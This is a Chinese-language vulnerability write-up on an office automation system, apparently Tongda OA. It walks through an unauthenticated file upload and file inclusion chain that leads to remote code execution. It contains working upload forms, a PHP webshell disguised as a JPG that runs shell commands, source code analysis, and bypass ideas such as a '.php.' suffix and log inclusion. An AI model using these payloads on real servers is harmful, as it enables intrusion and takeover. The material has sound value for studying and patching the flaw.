0x01 影响版本
- V11
- 2017版
- 2016版
- 2015版
- 2013增强版
- 2013版
复现使用版本 11.3
0x02 漏洞复现
- 文件上传
构造文件上传html样例1:
<html>
<head>
</head>
<body>
<form method="POST" action="http://10.10.10.133/ispirit/im/upload.php" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</form>
</body>
</html>
文件上传样例2(需要登录才能上传):
<html>
<head>
</head>
<body>
<form method="POST" action="http://10.10.10.133/general/reportshop/utils/upload.php" enctype="multipart/form-data">
<input type="text"name='filetype' value = "img"></input>
<input type="text" name="action" value="upload"></input>
<input type="file"name='FILE1' value = 'file'></input>
<input type="text"name='json' value = 1 ></input>
<input type="submit" ></input>
</form>
</body>
</html>
上传1.jpg:
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd']."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
- RCE
上传文件1的路径位于MYOA/attach/im/2004/
,2004
这个值由OA系统版本决定,从文件上传回显内容可以看到
上传文件2的文件路径位于wwwroot/attachment/reportshop/images/
0x03 漏洞分析
- webroot\ispirit\im\upload.php:
从代码可以看出如果在POST请求中带有P
参数且不为空时,代码会将phpsession设置为P
参数的值;POST请求未携带P
参数时则对session中的LOGIN_USER_ID
和LOGIN_UID
进行校验,校验失败是提示用户未登录。
// ispirit\im\upload.php
set_time_limit(0);
$P = $_POST["P"];
if (isset($P) || ($P != "")) {
ob_start();
include_once "inc/session.php";
session_id($P);
session_start();
session_write_close();
}
else {
include_once "./auth.php";
}
...
// auth.php
if (!isset($_SESSION["LOGIN_USER_ID"]) || ($_SESSION["LOGIN_USER_ID"] == "") || !isset($_SESSION["LOGIN_UID"]) || ($_SESSION["LOGIN_UID"] == "")) {
sleep(1);
if (!isset($_SESSION["LOGIN_USER_ID"]) || ($_SESSION["LOGIN_USER_ID"] == "") || !isset($_SESSION["LOGIN_UID"]) || ($_SESSION["LOGIN_UID"] == "")) {
echo "-ERR " . _("用户未登陆");
exit();
}
}
针对POST参数DEST_UID
进行校验,值必须为整型,校验失败时提示接收方ID无效
$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}
if (strpos($DEST_UID, ",") !== false) {
}
else {
$DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
if ($UPLOAD_MODE != 2) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}
}
文件上传处理
...
$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);// 校验文件上传格式
...
if ($MSG_CATE == "file") {
//响应包中的content内容
$CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
}
- inc\utility_file.php
function upload($PREFIX, $MODULE, $OUTPUT){
...
if ($ATTACH_ERROR == UPLOAD_ERR_OK) {
if (!is_uploadable($ATTACH_NAME)) {
$ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
}
...
}
function is_uploadable($FILE_NAME){
$POS = strrpos($FILE_NAME, "."); // 从文件名中获取最后一个.的位置
if ($POS === false) {
$EXT_NAME = $FILE_NAME;
}
else {
if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == "php") {//判断点之后3位字符串内容是否为php
return false;
}
$EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1));
}
if (find_id(MYOA_UPLOAD_FORBIDDEN_TYPE, $EXT_NAME)) {
return false;
}
if (MYOA_UPLOAD_LIMIT == 0) {
return true;
}
else if (MYOA_UPLOAD_LIMIT == 1) {
return !find_id(MYOA_UPLOAD_LIMIT_TYPE, $EXT_NAME);
}
else if (MYOA_UPLOAD_LIMIT == 2) {
return find_id(MYOA_UPLOAD_LIMIT_TYPE, $EXT_NAME);
}
else {
return false;
}
}
添加上传的文件到数据库:
文件中还有对
$UPLOAD_MODE
值的判断,基于该值输出不同的结果,值可选为1
、2
、3
和其他值。
- ispirit\interface\gateway.php:
//解析请求的json参数
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {
$keys = $value;
}
}
if ($key == "url") {
$url = $val;//获取json中的url参数
}
}
if ($url != "") {
if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
}
//如果url参数中含有general/、ispirit/、module/之一,那么就include_once url中的值,即可包含任意文件
if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
include_once $url;
}
}
exit();
}
0x04 修复方式
0x05 一点思考
- 待解决的一些问题
- 代码分析时全局查找没找到
$ids
是怎么定义的 - 没找到
$_POST["UPLOAD_MODE"]
获取$UPLOAD_MODE
,不知道为什么就可以通过POST请求获取,$json
参数也是 - 由于获取的代码都是解密得到的,对于这种没搞过动态调试,部分参数值不太清楚
- 一些其他的想法:
- 上传文件只判断了
.php
,没判断.php.
,可以绕过 - 文件包含也可以尝试包含其他文件,比如get请求记录到日志中,然后在
gateway.php
中进行包含 - 文件利用不需要登录
- 为什么上传的jpg文件要写成那样:
因为php.ini
写了如下内容:
disable_functions = exec,shell_exec,system,passthru,proc_open,show_source,phpinfo